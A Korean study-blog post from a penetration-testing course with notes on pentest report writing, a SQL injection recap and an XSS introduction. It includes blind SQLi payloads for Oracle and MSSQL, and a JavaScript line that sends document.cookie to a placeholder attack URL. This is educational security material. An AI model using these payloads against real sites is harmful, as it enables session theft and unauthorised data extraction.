본문 바로가기
개발자 (Developer)/공부 (Learn)

6주차 XSS

by 하늬아시 2023. 5. 11.

모의해킹 보고서 쓸 때 TIP

1. 폰트 통일 (스타일, 크기, 색깔)

글씨 컬러는 X

부각이 될 때만 굵은 글씨

 

2. 표지, 이름, 목차, 표지 번호, 사진과 표의 넓이는 통일하고 캡션 넣기

 

3. 풀이 과정을 디테일하게

 

4. 코드는 표에 넣어서

 

※ 블라인드 SQLi 같은 경우는

1. 참 조건 / 거짓 조건

2. and ((select database())='normaltic') and

3. 블라인드 SQLi 파이썬 script를 실행했다. 지금은 코드를 넣고 실무에서는 길어지니 넣지 말아야 합니다.


SQL Injection 정리

Q1. SQL Injection이 뭐에요?

A1. 임의의 SQL 질의문을 삽입해서 실행하는 공격입니다.

 

Q2. 시나리오

A2. 인증 우회, 데이터 추출 및 변조 등

web shell. DB : SQL 질의문으로 파일을 업로드

 

Q3. UNION, Error Based, Blind

A2. UNION

 

Q4. 대응방안

A4. Prepared Statement 꼭 사용하지만 order by, table column 같은 경우 white list 기반 필터링을 해야합니다.

(white list 기반 필터링은 관리자가 정해 놓은 문법만 사용할 수 있고 그 외의 문법은 사용 못 하기에 black list 기반 필터링은 우회의 위험요소가 있습니다.)

 

모의해킹 주의할 점

1. 고객사의 서버 운영에 장애가 생길 수 있는 insert delete update 구문은 절대 사용하지 말아야 합니다. (CTF 제외)

2. 주석 남용X

3. 데이터 변조 금지(1번 항목과 동일)

 

order by에서 가장 많이 쓰는 부분은 정렬

오라클 DB에선 가상의 DB는 dual 이라 사용합니다.

(case+when+ascii(substr((select+user+from+dual),1,1))=0+then+1+else+(1/0)+end)

(1/0) 은 오류

 

page=1

board_id=

sorting=A.REG_DT

sotingAd=ASC; if+substring((select%20user_name()),1,1)=%27a%27+waitfor+delay+%270:0:1%27

user_name이 1이면 딜레이를 거는 질의문입니다.

하지만 데이터 추출이 너무 느려서 잘 안씁니다.

 

Tip

UNION : 데이터 출력하는 곳이 한 곳 밖에 없을 땐 concat 을 사용하면 됩니다.


XSS (Cross Site Scripting) 줄여서 크사

취약점이 정말 많습니다.

 

크사는 클라이언트 측 코드를 삽입하는 공격입니다.

클라이언트에 삽입하는 공격이기 때문에 SQLi은 서버를 공격하는 공격기법이었지만 서버는 아무 영향이 없습니다.

회사 입장에선 굳이 고쳐야 하나?라고 생각할 수 있습니다.

 

그렇다고 모의해킹할 때 배제해야 된나요? 아니요. 보고서에 쓸 메리트는 있습니다.

JavaScript를 활용한 공격기법이기에 JavaScript를 할 줄 알아야 됩니다.

 

변수 선언

const, let, var

 

페이지 이동

location.href = "URL";

 

웹 요청 (쿠키 탈취)

var i = new Image();

i.src = "attack URL?cookie= " + document.cookie

쿠키 뿐만 아니라 Keylogger를 사용해서 어떤 키를 입력했는지 가져올 수 있습니다.

Crypto miner

 

어떻게 삽입하나요?

1. 일단 입력창에서 크사가 가능한지 확인하기 위해 alert를 넣어서 확인해야 됩니다.

 

2. 서버에 저장하는 방법 : Stored XSS

POC 코드 (증명용 코드)

가끔 고객사에서 alert를 필터링하는 경우가 있는데 confirm, prompt를 사용하면 됩니다.

공격 서버를 하나 가지고 있으면 좋습니다. (하지만 매월 돈이 들기 때문에 Request Bin이라는 사이트를 사용하면 됩니다.

Request Bin은 임시 서버입니다.

 


여행 중이라 아마 6주차까진 진전이 없을 예정입니다.

다들 건강하세요.

댓글


// code block - line num // code block - copy // code block - lan